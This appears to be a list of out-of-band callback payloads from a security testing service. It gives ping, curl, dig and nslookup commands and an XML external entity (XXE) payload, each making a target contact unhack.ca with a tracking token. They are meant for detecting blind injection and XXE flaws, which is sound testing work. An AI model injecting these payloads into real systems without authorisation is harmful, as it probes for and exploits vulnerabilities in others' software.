$ ping -c1 -p 00d4f8eb7f88e25c4e367701103eb000 unhack.ca
 

$ curl http://unhack.ca/p/d4f8eb7f88e25c4e367701103eb0
 

$ dig d4f8eb7f88e25c4e367701103eb0 @unhack.ca
 

$ dig d4f8eb7f88e25c4e367701103eb0.ns.unhack.ca
 

C:\> nslookup d4f8eb7f88e25c4e367701103eb0 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d4f8eb7f88e25c4e367701103eb0">]>
    <foo>&xxe;</foo>